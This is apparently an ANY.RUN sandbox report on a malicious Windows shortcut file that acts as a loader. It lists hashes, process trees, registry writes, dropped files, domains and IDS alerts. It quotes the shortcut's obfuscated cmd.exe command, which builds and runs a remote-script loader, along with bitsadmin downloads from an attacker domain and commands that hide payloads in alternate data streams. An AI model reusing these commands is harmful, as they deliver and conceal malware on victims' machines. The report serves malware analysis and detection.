| File name: | Download_Concluido.lnk |
| Full analysis: | https://app.any.run/tasks/3cdcf6cd-3512-4e7d-94a2-8957afba9a28 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | October 14, 2019, 16:13:54 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/octet-stream |
| File info: | MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has command line arguments, Icon number=16, Archive, ctime=Tue Jul 16 21:12:16 2019, mtime=Tue Jul 16 21:12:16 2019, atime=Tue Jul 16 21:12:16 2019, length=236032, window=hidenormalshowminimized |
| MD5: | BC5101705E9BBE3A586C8CAD39F80D24 |
| SHA1: | B4A6DAC03431FFB1B6DEEE71C3DCB9389D0A7792 |
| SHA256: | 73D68EA654A544CBC1DDBB02BFE0612D1EBBF24C5CB59CD15D7684D5E799B168 |
| SSDEEP: | 24:8XKoJ64w10uaOAGuYiqXI1XZGLvx7rf8S28qv+RrgexipXuyNv4o0c5vZ4Od2SdF:8s4pDUvx7rf/28qqiraoDx4OHva48 |
MALICIOUS
Changes settings of System certificates
- WScript.exe (PID: 2136)
Uses BITADMIN.EXE for downloading application
- WScript.exe (PID: 2136)
SUSPICIOUS
Starts CMD.EXE for commands execution
- cmd.exe (PID: 2916)
- WScript.exe (PID: 2136)
Application launched itself
- cmd.exe (PID: 2916)
Executes scripts
- explorer.exe (PID: 4040)
Executed via COM
- explorer.exe (PID: 4040)
Adds / modifies Windows certificates
- WScript.exe (PID: 2136)
Creates files in the user directory
- WScript.exe (PID: 2136)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .lnk | | | Windows Shortcut (100) |
|---|
EXIF
LNK
| Flags: | IDList, LinkInfo, Description, CommandArgs, IconFile, Unicode, ExpString |
|---|---|
| FileAttributes: | Archive |
| CreateDate: | 2019:07:17 00:12:16+02:00 |
| AccessDate: | 2019:07:17 00:12:16+02:00 |
| ModifyDate: | 2019:07:17 00:12:16+02:00 |
| TargetFileSize: | 236032 |
| IconIndex: | 16 |
| RunWindow: | Show Minimized No Activate |
| HotKey: | (none) |
| TargetFileDOSName: | cmd.exe |
| DriveType: | Fixed Disk |
| VolumeLabel: | - |
| LocalBasePath: | C:\Windows\System32\cmd.exe |
| Description: | nuyf |
| CommandLineArguments: | /V /D /c "sEt DLL=%wMUARindMUARir%MUAR\eXMUARPLoMUARReRMUAR /cMUAR,&&SeT BXD=GeBJABtOBJABbjeBJABct(BJAB'scBJABriBJABptBJAB:hBJABttpBJABs:&&SEt dIixe4j=HLGHLG7lpncg4qnm8khb7p.02ee950efa7e48.onlineHLG?08HLG') 2>&1 && sET/^p ESxvd7i="%BXD:BJAB=%%dIixe4j:HLG=/%" <nul > %Tmp%\66dJmr4.Js 2>&1 2>&1|CAll %DLL:MUAR=% %TMP%\66dJmr4.jS 2>&1|e^xi^T" |
| IconFileName: | %SystemRoot%\system32\SHELL32.dll |
| MachineID: | ideia_vmxx |
Total processes
69
Monitored processes
20
Malicious processes
2
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 492 | C:\Windows\system32\cmd.exe /S /D /c" CAll %DLL:MUAR=% C:\Users\admin\AppData\Local\Temp\66dJmr4.jS 2>&1" | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 992 | "C:\Windows\System32\bitsadmin.exe" /transfer 27009 /priority foreground https://obeisantsponge.cf/08/landoqeahjkygx.gif.zip C:\Users\Public\Libraries\trust\landoqeahjkygx.gif | C:\Windows\System32\bitsadmin.exe | — | WScript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 0 Version: 7.5.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1012 | C:\Windows\system32\cmd.exe /S /D /c" exiT" | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1012 | "C:\Windows\System32\bitsadmin.exe" /transfer 29942 /priority foreground https://obeisantsponge.cf/08/landoqeahjkydwwn.gif.zip C:\Users\Public\Libraries\trust\landoqeahjkydwwn.gif | C:\Windows\System32\bitsadmin.exe | — | WScript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 0 Version: 7.5.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1252 | C:\Windows\eXPLoReR /c, C:\Users\admin\AppData\Local\Temp\66dJmr4.jS | C:\Windows\explorer.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1416 | "C:\Windows\System32\bitsadmin.exe" /transfer 24563 /priority foreground https://obeisantsponge.cf/08/landoqeahjkyc.jpg.zip C:\Users\Public\Libraries\trust\landoqeahjkyc.jpg | C:\Windows\System32\bitsadmin.exe | — | WScript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 0 Version: 7.5.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1552 | "C:\Windows\System32\cmd.exe" /c type "C:\Users\Public\Libraries\trust\landoqeahjkyg.gif" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkyg.gif"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkyg.gif" | C:\Windows\System32\cmd.exe | — | WScript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2136 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\66dJmr4.Js" | C:\Windows\System32\WScript.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 2208 | "C:\Windows\System32\cmd.exe" /c type "C:\Users\Public\Libraries\trust\landoqeahjkya.jpg" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkya.jpg"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkya.jpg" | C:\Windows\System32\cmd.exe | — | WScript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2416 | "C:\Windows\System32\cmd.exe" /c type "C:\Users\Public\Libraries\trust\landoqeahjkyc.jpg" > "C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkyc.jpg"&&erase "C:\Users\Public\Libraries\trust\landoqeahjkyc.jpg" | C:\Windows\System32\cmd.exe | — | WScript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
323
Read events
278
Write events
44
Delete events
1
Modification events
| (PID) Process: | (4040) explorer.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.Js\OpenWithProgids |
| Operation: | write | Name: | JSFile |
Value: | |||
| (PID) Process: | (4040) explorer.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (4040) explorer.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | @C:\Windows\System32\wshext.dll,-4511 |
Value: Open &with Command Prompt | |||
| (PID) Process: | (4040) explorer.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (4040) explorer.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2136) WScript.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WScript_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (2136) WScript.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WScript_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (2136) WScript.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WScript_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2136) WScript.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WScript_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2136) WScript.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\WScript_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
Executable files
0
Suspicious files
6
Text files
3
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2208 | cmd.exe | C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkya.jpg | binary | |
MD5:— | SHA256:— | |||
| 3972 | cmd.exe | C:\Users\admin\AppData\Local\Temp\66dJmr4.Js | text | |
MD5:— | SHA256:— | |||
| 2440 | cmd.exe | C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkyb.jpg | binary | |
MD5:— | SHA256:— | |||
| 3924 | cmd.exe | C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkydwwn.gif | binary | |
MD5:— | SHA256:— | |||
| 2136 | WScript.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\7lpncg4qnm8khb7p_02ee950efa7e48_online[1].txt | xml | |
MD5:— | SHA256:— | |||
| 1552 | cmd.exe | C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkyg.gif | binary | |
MD5:— | SHA256:— | |||
| 3500 | cmd.exe | C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkydx.gif | binary | |
MD5:— | SHA256:— | |||
| 2416 | cmd.exe | C:\Users\Public\Libraries\trust\desktop.ini:landoqeahjkyc.jpg | binary | |
MD5:— | SHA256:— | |||
| 2136 | WScript.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@02ee950efa7e48[1].txt | text | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
2
DNS requests
2
Threats
2
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2136 | WScript.exe | 104.24.126.167:443 | 7lpncg4qnm8khb7p.02ee950efa7e48.online | Cloudflare Inc | US | unknown |
— | — | 104.27.147.123:443 | obeisantsponge.cf | Cloudflare Inc | US | shared |
DNS requests
Domain | IP | Reputation |
|---|---|---|
7lpncg4qnm8khb7p.02ee950efa7e48.online |
| suspicious |
obeisantsponge.cf |
| unknown |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1080 | svchost.exe | Potentially Bad Traffic | ET INFO DNS Query for Suspicious .cf Domain |
— | — | Potentially Bad Traffic | ET INFO Suspicious Domain (*.cf) in TLS SNI |